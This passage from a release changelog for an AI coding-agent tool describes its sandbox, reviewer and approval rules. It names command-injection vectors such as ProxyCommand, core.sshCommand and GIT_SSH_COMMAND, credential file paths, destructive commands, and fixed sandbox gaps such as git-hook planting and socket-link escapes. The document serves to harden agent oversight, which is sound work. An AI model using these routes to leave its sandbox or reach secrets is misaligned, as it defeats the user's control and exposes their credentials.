    before. efr send typed by hand in a terminal names its shell, so a new shell on
    the same terminal starts fresh. The first start of the new efrd updates its
    database once. docs/use/conversations.md has the details.
  • In auto, more actions that leave the sandbox now go to the reviewer instead of to
    you:
    • write_file and edit outside the project and $SCRATCH, as a shell write there
      does;
    • a write that runs outside the sandbox, such as mv src ~/x, and an outside
      call. An outside call whose program changed in this turn still asks you, and so
      does one that runs an interpreter on code that efr cannot read, such as
      python3 -c, sh -c or a script;
    • a socket that the model names. A credential agent's socket ($SSH_AUTH_SOCK,
      gpg-agent, a keyring or a password manager's agent) asks only you. A socket inside
      a secret, such as ~/.gnupg/S.gpg-agent, or in efr's own dirs is refused;
    • the read and reload forms of hyprctl, swaymsg -t get_*, xrandr,
      wlr-randr, niri msg and i3-msg -t get_*. i3-msg is now a desktop command.
      Other desktop commands still ask you;
    • the read forms of nmcli and iwctl, such as nmcli device status, as a request
      for the system bus. Changes such as nmcli radio wifi off always ask you;
    • twine check and the other twine forms that do not upload, which then get the
      network;
    • git fetch, git pull and git push. The reviewer sees every host behind a
      remote name. A remote of your project that did not change since the conversation
      started counts as named by you.
  • In auto, a command that deletes or overwrites files in the project now runs at
    once when efr's snapshot holds every file that it can touch, such as
    git reset --hard or : > file. A delete or a move through apply_patch does the
    same. shred, git clean -x, git reflog expire, a file that the snapshot left
    out, content that is only staged, and a delete above the project still go to the
    reviewer or to you. A command that writes through a link, such as : > link, needs
    the file that the link names in the snapshot too. The new key
    sandbox.ask_destructive = "always" keeps the old behaviour. In cautious and
    manual, efr still asks you for each delete.
  • With the proxy, a fetch from an ssh remote, ssh, mosh and autossh run outside
    the sandbox with your ssh keys, and only after a message of yours names the host
    (or the remote is your project's). A line that can send ssh to another host first
    or run a command on your machine, such as ssh -J, ssh -F,
    ssh -o ProxyCommand=..., mosh --ssh, git -c core.sshCommand=... or
    GIT_SSH_COMMAND=..., always asks you. A git push whose host efr cannot tell,
    such as git --git-dir=... push, a push after a cd or a push to a local path,
    also asks you.
  • In auto, rustup toolchain install, rustup install, rustup update,
    rustup target add, rustup component add and rustup self update now run outside
    the sandbox. The reviewer decides a release channel such as stable, nightly or
    1.90 (with a date and a target if you like) when a message of yours names
    rustup, the toolchain or the channel. A line that sets RUSTUP_* or CARGO_HOME,
    names a toolchain path or a custom toolchain, or runs rustup toolchain link asks
    you, because the install puts programs on your PATH. Before, they wrote into efr's
    private layer, and the toolchain was gone after the command.
  • A write to efr's own programs, to $XDG_RUNTIME_DIR/efr, to ~/.local/state/efr
    or to ~/.local/share/efr is refused in every mode. Two places stay open:
    $SCRATCH, which the model writes freely, and efr's trash
    (~/.local/share/efr/trash), where the reviewer decides a write without a message
    that names it.
  • In the input row of a followed turn, Ctrl+B no longer moves the cursor back: it
    moves the running shell call to the background (see Added). The Left arrow still
    moves the cursor back.
  • , resume (with a blank after the ,) now runs ,resume, and does not send the
    prompt "resume". The same rule applies to new, compact, context, away and
    shell, and to mode, model and effort with at most one value that efr
    accepts. In sticky mode, a line of only one of these words runs that command too. A
    prompt with any other word stays a prompt.
  • The command line now shows a pasted prompt of several lines as you pasted it, not as
    a quoted line (say\ one$'\n'...). History keeps the whole text, and Enter on it
    sends the same prompt again.
  • efr now knows that rsync, scp, sshfs and git over ssh may ask for a
    password, also with a remote shell in -e, RSYNC_RSH, GIT_SSH_COMMAND or
    core.sshCommand. Such a call outside the sandbox runs past the model's timeout
    while you follow the turn, up to shell.interactive_timeout_minutes, whoever
    allowed it: you, the reviewer, a rule or full mode. Its question says that you may
    need to type your password. A question about a sandboxed command never says so.
  • In auto, the model no longer hears that background processes stop when a command
    ends. It hears that it can start a job with background: true. &, nohup and
    setsid in a normal command still stop when the command ends.
  • The shell tool tells the model to try what you asked first, and to call again with
    the narrowest needs after an access error. The note after a failed sandboxed
    command no longer lists what the sandbox cannot do.
  • The auto rule of the system prompt is short: the model does what you ask, tries
    first, and lets efr decide. Older prompts of a conversation keep the old rule.
  • efr sandbox explain says that the reviewer decides a named floor file. It adds
    user only only for a kind that only you approve, such as a synced write.
  • The line of an action that leaves the sandbox names the command and the link path
    that you used, such as
    changed ~/.config/hypr/x.conf (real file ~/dotfiles/hypr/x.conf), and shows no
    internal rule numbers. The line of a desktop command names its socket and what it
    does, such as reviewer allowed: the Hyprland socket, to read its state or reload it.
  • A snapshot now keeps the exact bytes of each file, also when the project's
    .gitattributes asks git to change line ends or encodings. An older snapshot store
    takes one full snapshot to get there.
  • efr no longer writes ~/.local/share/efr/file-backups/. The snapshot store
    replaces it. efr deletes the old backups after snapshot.max_age_days days.
  • The +/- counts of the turn line and of efr diff use a plain -, not the
    minus sign.
  • efr status shows its times in your time zone, such as
    started 2026-10-20 12:00:00 CEST (2h 0m ago).
  • After a restart of efrd, efr status says
    key sk-ant-...a1b2 not checked since efrd started for a stored API key until the
    first request with the key gets an answer, because efrd keeps the refusals of a key
    in memory only.
  • efr config reload, efr config set, unset and edit show the warnings of the
    reload, one dim line each: a [model] name of another company than
    [model] provider, an always rule that a floor now disables, and a bus filter that
    the reload turned off. Before, they went only to the log.
  • The debug log is quieter after a turn and for unreadable files in a snapshot. A
    write to a client that closed its connection logs at trace. Files that git cannot
    read give one line for each project, with their count and the first path. A git
    that stops with a fatal error during a snapshot is now a warning.
  • The daemon's log names the providers and the vt100 screen by their new module paths,
    because four small crates are now modules of other crates. A log line of the OpenAI
    provider has the target efr_providers::openai::... instead of
    efr_provider_openai::.... The same is true for the Anthropic provider
    (efr_providers::anthropic, before efr_provider_anthropic) and the vt100 screen
    (efr_screen::vt100, before efr_screen_vt100). If your EFR_LOG or the log key
    names an old target, change it.
  • The README is now short: it shows how to install efr, a short example and the
    permission modes. The details moved to the pages of the docs site in docs/.
  • Update efr and efrd together: an older efr cannot read the history of a full
    turn. They ship together in the packages.

Fixed

  • In auto, a Ctrl+C at the very start of an agent's command could be lost, and the
    command then ran to its end. Now the sandbox launcher always stops the command.
  • $SCRATCH now works in the agent's commands. The model read that $SCRATCH was its
    own directory, but the hidden shell did not set the variable, so cd "$SCRATCH" did
    not move, and a git clone after it landed in your project. Now every command of the
    agent has SCRATCH set to the conversation's scratch directory: in the hidden shell,
    in the sandbox, in an approved exit and in a background job. Your own login shell
    does not change, and a SCRATCH that your startup files set does not reach the
    agent's commands. A sandboxed command that sets SCRATCH changes it for that
    command only.
  • efr no longer sends an answer that may be a password into a sandboxed command. A
    sandboxed command could show a prompt that looked like a password prompt, and efr
    took your answer for it. Now efr stops such a command at once.
  • A command that waited for a password in the hidden shell after its call timed out
    blocked every later call of the conversation for that call's timeout, with no word
    to you. Now the next call fails at once, the model names the command, and you can
    answer or stop it with ,shell.
  • An ask or deny rule for git in [[permissions.rules]] now matches when git's
    own options come before the subcommand, such as git -C ~/p/app push origin HEAD or
    git -c push.default=current push, in both forms (--git-dir=x and
    --git-dir x). Before, such a line ran with no question. An allow rule skips only
    the options that change nothing, such as --no-pager.
  • An ask or deny rule in [[permissions.rules]] now also matches the command
    behind a wrapper, such as env git push, nice -n 5 git push or
    timeout 60 git push, and a program by its path, such as /usr/bin/git push.
    Before, such a line ran with no question. An allow rule still matches only the
    program itself. A rule that matches only through a wrapper, a path or git's own
    options never makes the effect less strict than an earlier rule, so deny for
    nice and then ask for git push still denies nice git push.
  • In auto, an approved desktop command (hyprctl, swaymsg, wlr-randr,
    xrandr, niri msg, i3-msg) now reaches the compositor socket of your
    terminal's session. The call gets that one socket and the one variable that names
    it, such as HYPRLAND_INSTANCE_SIGNATURE. It never gets Hyprland's event socket or
    its log. The socket must have the place and the name of that desktop's socket, such
    as wayland-1, so a variable cannot name another socket of yours, such as the
    session bus. When efr finds no such socket, the model reads "efr found no Hyprland
    session in the terminal of this prompt". An X server that needs an X cookie is
    refused for now, also when only your terminal has $XAUTHORITY.
  • systemctl --user in a sandboxed command with the session bus now uses that bus.
    Before, systemd 262 looked only for its private socket, and the command failed, also
    after you allowed the whole session bus. A script that runs systemctl --user
    itself still fails.
  • After you say no, the model does not ask again for the same action in that turn.
  • The model no longer answers a prompt that you cancelled. This also holds for a turn
    that efr stopped before this version. The first request of such a conversation
    then misses the prompt cache once.
  • After efr logout anthropic or efr logout openai-api, a prompt says that no key
    is stored and how to log in. Before, a model list fetch that started before the
    logout could end after it, and the prompt then said that the provider rejected the
    old key.
  • A prompt that waited in the queue while a config reload made [model] name a model
    of another company than [model] provider now fails with the same error as a new
    prompt, which names the cause and the fix. Before, it failed with a general error.
  • The warning about a [model] name of another company shows once in the log.
    Before, each reload of the same file wrote it again, also a start that reloaded
    once.
  • efr history prints the partial answer of an interrupted turn once. Before, it
    printed it twice.
  • A project that efr reaches through a symbolic link, such as ~/p as a link to
    /data/p, now has one plan lock. Before, a sandboxed call that named the project
    through the link and a file write that named it directly did not wait for each
    other, so the write could change the project while efr prepared the call.
  • A line that holds a command that must run outside the sandbox and other commands is
    now refused with
    refused: a command that must run outside the sandbox must run alone. Before, the
    refusal said "an approved command", also when you did not approve anything.
  • When a sandboxed command still runs at the end of its call, the end of the screen
    that the model reads no longer holds efr's own line of the hidden shell, such as
    [[ "${functions[_efr_hs_sbx]-}..." ]] && \_efr_hs_sbx <id>. It holds the
    command's output.

Security

  • Before an approved outside git push, git fetch, git pull, git send-email,
    or a gh command that runs git, efr checks the repository's git code and that of
    its submodules: hooks, core.sshCommand, transport URLs and the other settings that
    run programs, and the programs that they run. When a sandboxed command can write one
    of them, or efr could not check them, only you can approve, and the question names
    the file. efr checks again right before the command runs. git options that choose
    the code that git runs (-c, --exec-path, --receive-pack, --upload-pack and
    others) also ask only you, and so does a git or gh line that sets a GIT_*,
    SSH_*, HOME, XDG_CONFIG_HOME or PATH variable. efr history --verbose shows
    the parts that a sandboxed command can write, with no user name or password of a
    URL.
  • npm publish (also with pnpm, yarn and bun), cargo publish (also with
    --no-verify), cargo yank and cargo owner ask only you. The question says what
    they run: the project's prepublishOnly and prepack scripts, the build of the
    crate, or .cargo/config.toml, which can name a credential program.
  • The exits of auto and the delete guard of full mode now read git's
    --config-env, --attr-source and --shallow-file with their value as a separate
    word. Before, git --attr-source HEAD push was no upload exit.
  • A question for a line that runs sudo or another program as another user now takes
    an answer only from your own machine, never from a phone, also in manual and
    cautious. A phone that tries gets the text only the user's own machine answers a privilege exit, a delete that full mode guards, or a background job.
  • A process below a hidden shell or a job that declares itself a phone now gets the
    read scope only. Before, it could approve exits.
  • A process that a background job outside the sandbox left behind cannot approve
    efr's questions or change its settings, also after it left the job's session and
    lost its launcher: under the systemd unit, every process in efrd's own cgroup but
    efrd gets only the read scope on efr's socket.
  • A socket grant never binds the system bus, the session bus, a service manager's
    socket (such as systemd/private), a container engine's socket or a desktop socket,
    also through a link. Before, one approved socket exit for a link to the session bus
    could reach it. Such a command now fails to start, and the sandbox says why.
  • In auto, the socket of a service manager, such as
    $XDG_RUNTIME_DIR/systemd/private, is a privilege exit that only you approve, as a
    container engine's socket is: a command with it could start a unit outside the
    sandbox.
  • ~/.local/share/dbus-1 is now a floor: a sandboxed command cannot write it, and a
    write there asks you. The bus starts the program of a service file there outside the
    sandbox when a client calls its name.
  • The git guard now also checks the git dirs below a dir that an approved write
    opened, also through a link, and the git dir of a repository when the write opened a
    dir in it, such as .git/hooks. Before, a command that you allowed to write to a
    repository that is not a project could plant git hooks there.
  • The hooks and config of a git submodule (.git/modules/<name>, also a name with /
    such as vendor/foo, and a submodule of a submodule) stay read-only in the sandbox,
    as the project's own do. Before, only the first level below .git/modules was
    read-only. A relative core.hooksPath of a submodule is now read-only in the
    submodule's own dir. After each command, the git guard also checks these
    submodules, the git dir that a .git file names, and the include files and the
    core.hooksPath dir that the config of each checked repository names.
  • A program whose modification time (mtime) a command set back still counts as
    changed in the turn: efr also reads its change time (ctime). A program that a
    background job of the conversation wrote since the previous turn started counts as
    changed too.
  • efr now also treats ~/.config/git/credentials, ~/.config/npm/npmrc,
    ~/.config/pnpm/rc, ~/.config/pypoetry/auth.toml and
    ~/.config/composer/auth.json, and hub's ~/.config/hub, Copilot's
    ~/.config/github-copilot and Git Credential Manager's ~/.gcm, as secrets, as it
    treats ~/.git-credentials and ~/.npmrc. No mode reads them. The sandbox also
    hides ~/.config/glab-cli, ~/.yarnrc.yml, ~/.yarnrc, ~/.bunfig.toml,
    ~/.config/pip/pip.conf and ~/.pip/pip.conf, because they can hold a token. In
    auto, read_file of one of them asks you.
  • A sandboxed command no longer gets GIT_CONFIG_PARAMETERS, GIT_CONFIG_COUNT,
    GIT_CONFIG_KEY_* or GIT_CONFIG_VALUE_*, which can give git a token or a
    credential helper. It also no longer gets a name that ends in _AUTH, such as
    npm_config__auth, or a variable whose value is a URL with a password, such as
    PIP_INDEX_URL=https://user:token@..., unless sandbox.env_keep keeps it.
  • efr redacts more kinds of tokens from the last command and the recent commands that
    go to the model: AWS, Slack, GitLab, Google, npm, Hugging Face and PyPI keys, JSON
    web tokens, and long random words of upper and lower case letters and digits. Git
    ids, sha256 sums and paths stay. A key of only lower case hex stays visible.
  • efr now uses rustls 0.23.46 for its connections to the provider. This version fixes
    four advisories of rustls 0.23.45 (RUSTSEC-2026-0346 to RUSTSEC-2026-0349).
  • efr now uses rustls-webpki 0.103.16, which rustls uses to check certificates. This
    version fixes the advisory RUSTSEC-2026-0382 of rustls-webpki 0.103.15.